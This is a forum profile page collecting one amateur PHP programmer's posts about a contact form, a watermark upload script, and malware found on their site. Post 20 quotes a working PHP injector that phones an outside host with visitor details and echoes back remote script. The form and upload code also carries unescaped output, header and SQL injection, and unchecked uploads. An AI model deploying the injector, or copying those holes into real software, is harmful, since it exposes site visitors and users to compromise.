Jump to content

lingo5

Members
  • Posts

    426
  • Joined

  • Last visited

Everything posted by lingo5

  1. @Jacques1 has my code caused damage to you ????... if so I'm sorry. Yep.... this is a hobby for me and it isn't painful at all I actually enjoy it very much.
  2. @Barand no it isn't....
  3. @mac_gyver for you to laugh a me that's why !!!!
  4. $idioma=strtolower($idioma); if ($idioma=="esp" || $idioma=="eng" || $idioma=="ger"){ $_SESSION['session_idioma'] = $idioma; } if (!$_SESSION['session_idioma']){ $_SESSION['session_idioma'] = "esp"; } // define (IDIOMA,$_SESSION['session_idioma']); $IDIOMA = $_SESSION['session_idioma']; include "cntTxt_$IDIOMA.php3"; define ('CNT_TXT_WARNING_EMAILSENTOK',"email sent correctly"); define ('CNT_TXT_WARNING_EMAILSENTERROR',"there was an error sending your email"); @Barand, I define these constants in a txt file called cntTXT_eng for English language like so: Then I have created a php file called constants like this: I then include the constans php file at the top of the page. It works site wide except for the contact form.
  5. Hi @Jacques1, I know my code is not professional... but that is because I'm just a amateur programmer myself. I do this for fun an I never upload it to any real life servers (I'm a psychologist !!!!). I know I have a lot to learn and that's why I come here !!! Sorry guys if I'm wasting your time.
  6. <?php if(isset($_POST['submit'])) { $name = $_POST['name']; $email = $_POST['email']; $tel = $_POST['tel']; $province = $_POST['province']; $city = $_POST['city']; $query = $_POST['message']; $email_from = $name.'<'.$email.'>'; $to="[email protected]"; $subject="Alguien quiere un presupuesto"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= "From: ".$email_from."\r\n"; $message=" Nombre: $name <br> Tel.: $tel <br> Email: $email <br> Provincia: $province <br> Ciudad: $city <br> Descripcion: $query "; if(mail($to,$subject,$message,$headers)) header("Location:../presupuesto.php?msg=" . CNT_TXT_WARNING_EMAILSENTOK); else header("Location:../presupuesto.php?msg=" . CNT_TXT_WARNING_EMAILSENTERROR); } ?> @mac_gyver here's the code with the changes suggested in post 8. Still no luck.
  7. @shan yes, that's what I'm trying to do
  8. Barand yes, I have it defined in a txt file. All other message in that file are working correctly.
  9. <div class="row-fluid"> <div class="span8" id="divMain2"> <h3 style="color:#FF6633;"><?php echo $_GET[msg];?></h3> <hr> <!--Start Contact form --> <form name="enq" method="post" action="email/" onsubmit="return validation();"> <fieldset> <input type="text" name="name" id="name" value="Nombre" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_NOMBRE?> /> <input type="text" name="tel" id="tel" value="Tel" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_TELEFONO?> /> <input type="text" name="email" id="email" value="Email" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_EMAIL?> /> <input type="text" name="province" id="province" value="Provincia" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_PROVINCIA?> /> <input type="text" name="city" id="city" value="Ciudad" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_CIUDAD?> /> <textarea rows="11" name="message" id="message" class="input-block-level" placeholder=<?=CNT_TXT_PRESUPUESTO_DESCRIPCION?>></textarea> <div class="actions"> <input type="submit" value=<?=CNT_TXT_BOTONES_ENVIAR?> name="submit" id="submitButton" class="btn btn-info pull-right" title="" /> </div> </fieldset> </form> <!--End Contact form --> </div> please see my answer to shan. In addition to that here's the code for the presupuesto.php page that shows my form and right at the top the php code that shoud print the sent ok message.
  10. Hi @shan, thanks but all I get printed on presupuesto.php is this CNT_TXT_WARMING_EMAILSENTOK instead of the actual success message. The filepath is correct.
  11. nope.... thanks but not displaying the message correctly.
  12. sorry, still doing the same. ?¿?¿??
  13. CNT_TXT_WARNING_EMAILSENTOK thanks but that doesn't seem to work, all I get is this printed when the form has ben submitted
  14. Hi Shan, please see my answer. Thanks
  15. Hi Ch0cu3r, they're strings of text to show the message in different languages.
  16. <?php if(isset($_POST['submit'])) { $name = $_POST['name']; $email = $_POST['email']; $tel = $_POST['tel']; $province = $_POST['province']; $city = $_POST['city']; $query = $_POST['message']; $email_from = $name.'<'.$email.'>'; $to="[email protected]"; $subject="Alguien quiere un presupuesto"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= "From: ".$email_from."\r\n"; $message=" Nombre: $name <br> Tel.: $tel <br> Email: $email <br> Provincia: $province <br> Ciudad: $city <br> Descripcion: $query "; if(mail($to,$subject,$message,$headers)) header("Location:../presupuesto.php?msg=<?=CNT_TXT_WARNING_EMAILSENTOK?>"); else header("Location:../presupuesto.php?msg=<?=CNT_TXT_WARNING_EMAILSENTERROR?>"); } ?> Hi, I have created a mailing script and it works fine, but I can't get it to print the success/error messages. Many thanks
  17. many thanks to all of you !!!
  18. But I'm not even using Wordpress ??!!....
  19. thanks a lot Jacques1. Are you sure this is due to poor server security or could it be because this site is quite old and could be vulnerable to code injections ?
  20. <?php #bbce85# error_reporting(0); @ini_set('display_errors',0); $wp_jgm13 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_jgm13) && !preg_match ('/bot/i', $wp_jgm13))){ $wp_jgm0913="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_jgm13); if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_jgm0913); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_13jgm = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_13jgm = @file_get_contents($wp_jgm0913);} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_13jgm=@stream_get_contents(@fopen($wp_jgm0913, "r"));}} if (substr($wp_13jgm,1,3) === 'scr'){ echo $wp_13jgm; } #/bbce85# ?> I've found this piece of code in some of my pages and I didn't put it there?...please help me identify what it is. Thanks.
  21. thanks a lot. Where would I place that code?
  22. thanks, but what if the images are all different sizes...
  23. ah ok, thanks.. so this places the watermark on the top left // Set the margins for the stamp and get the height/width of the stamp image $margin['x'] = 20; $margin['y'] = 20; what if I want it on the bottom right?. I have tried "-" values and it didn't work
  24. Thanks it works now!!!... but I now need to understand how it works. Where do I change wtermark size and position?
  25. //Creates a water marked image // $wm is the watermark image you want to use // $img is the image to watermark // $xy should be an array of x and y coordinates - $xy['x'] = 150 $xy['y'] = 40 // placement defaults to center if $xy is not supplied // $dest woudl be a place to save the file if you are not displaying the new image directly to the browser. function watermarkImage($wm, $img, $xy = NULL, $dest = NULL ) { $watermark = imagecreatefrompng($wm); $wm_src = getimagesize($wm); $source = getimagesize($img); $mime = $source['mime']; if($mime === 'image/jpg') {$src = imagecreatefromjpeg($img);} elseif($mime === 'image/jpeg') {$src = imagecreatefromjpeg($img);} elseif($mime === 'image/pjpeg') {$src = imagecreatefromjpeg($img);} elseif($mime === 'image/png') {$src = imagecreatefrompng($img);} elseif($mime === 'image/gif') {$src = imagecreatefromgif($img);} $x = ($xy !== NULL) ? $xy['x'] : floor(($source[0] / 2) - ($wm_src[0] / 2)); $y = ($xy !== NULL) ? $xy['y'] : floor(($source[1] / 2) - ($wm_src[1] / 2)); imagecopy($src, $watermark, $x, $y, 0, 0, imagesx($watermark), imagesy($watermark)); imagealphablending($src, false); imagesavealpha($src, true); if($mime === 'image/jpg') { if($dest !== NULL) { imagejpeg($src, $dest, 95); } else { header('Content-Type: image/jpeg'); imagejpeg($src); } } elseif($mime === 'image/jpeg') { if($dest !== NULL) { imagejpeg($src, $dest, 95); } else { header('Content-Type: image/jpeg'); imagejpeg($src); } } elseif($mime === 'image/pjpeg') { if($dest !== NULL) { imagejpeg($src, $dest, 95); } else { header('Content-Type: image/jpeg'); imagejpeg($src); } } elseif($mime === 'image/png') { if($dest !== NULL) { imagepng($src, $dest); } else { header('Content-Type: image/png'); imagepng($src); } } elseif($mime === 'image/gif') { if($dest !== NULL) { imagegif($src, $dest); } else { header('Content-Type: image/gif'); imagegif($src); } } imagedestroy($src); } $uploadDir = '../uploads/'; if(isset($_POST['upload'])) { foreach ($_FILES as $file) { $fileName = $file['name']; $tmpName = $file['tmp_name']; $fileSize = $file['size']; $fileType = $file['type']; if($fileName==""){ $filePath = '../img/none.jpg'; } else{ $filePath = $uploadDir . $fileName; } ////generate random name //// get the file extension first $ext = substr(strrchr($fileName, "."), 1); // //// make the random file name $randName = md5(rand() * time()); // //// and now we have the unique file name for the upload file $filePath = $uploadDir . $randName . '.' . $ext; // Replace spaces with a '_' $filePath = str_replace(" ", "_", $filePath); $result = move_uploaded_file($tmpName, $filePath); //if (!$result) { //echo "Error uploading file"; //exit; //} if(!get_magic_quotes_gpc()) { $fileName = addslashes($fileName); $filePath = addslashes($filePath); } $fileinsert[]=$filePath; } $id_trabajo = $colname_trabajos_selected_RS; $query = "INSERT INTO t_imagenes_trabajos (imagen_path,id_trabajo) ". "VALUES ('$filePath','$id_trabajo')"; mysql_query($query) or die('Error, query failed : ' . mysql_error()); //echo "<br>Files uploaded<br>"; header("Location: PC_images_display.php?id_trabajo=$colname_trabajos_selected_RS&imageninserted=true"); /* * PHP GD * adding watermark to an image with GD library */ // Load the watermark and the photo to apply the watermark to $stamp = '../img/watermark_fotos.png'; // Set the margins for the stamp and get the height/width of the stamp image $margin['x'] = 10; $margin['y'] = 10; $destination = $filePath; watermarkImage($filePath, $stamp, $margin, $destination); } Hi, I tried that but still not placing the watermark over the image, just saving the watermark aolone to my db...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.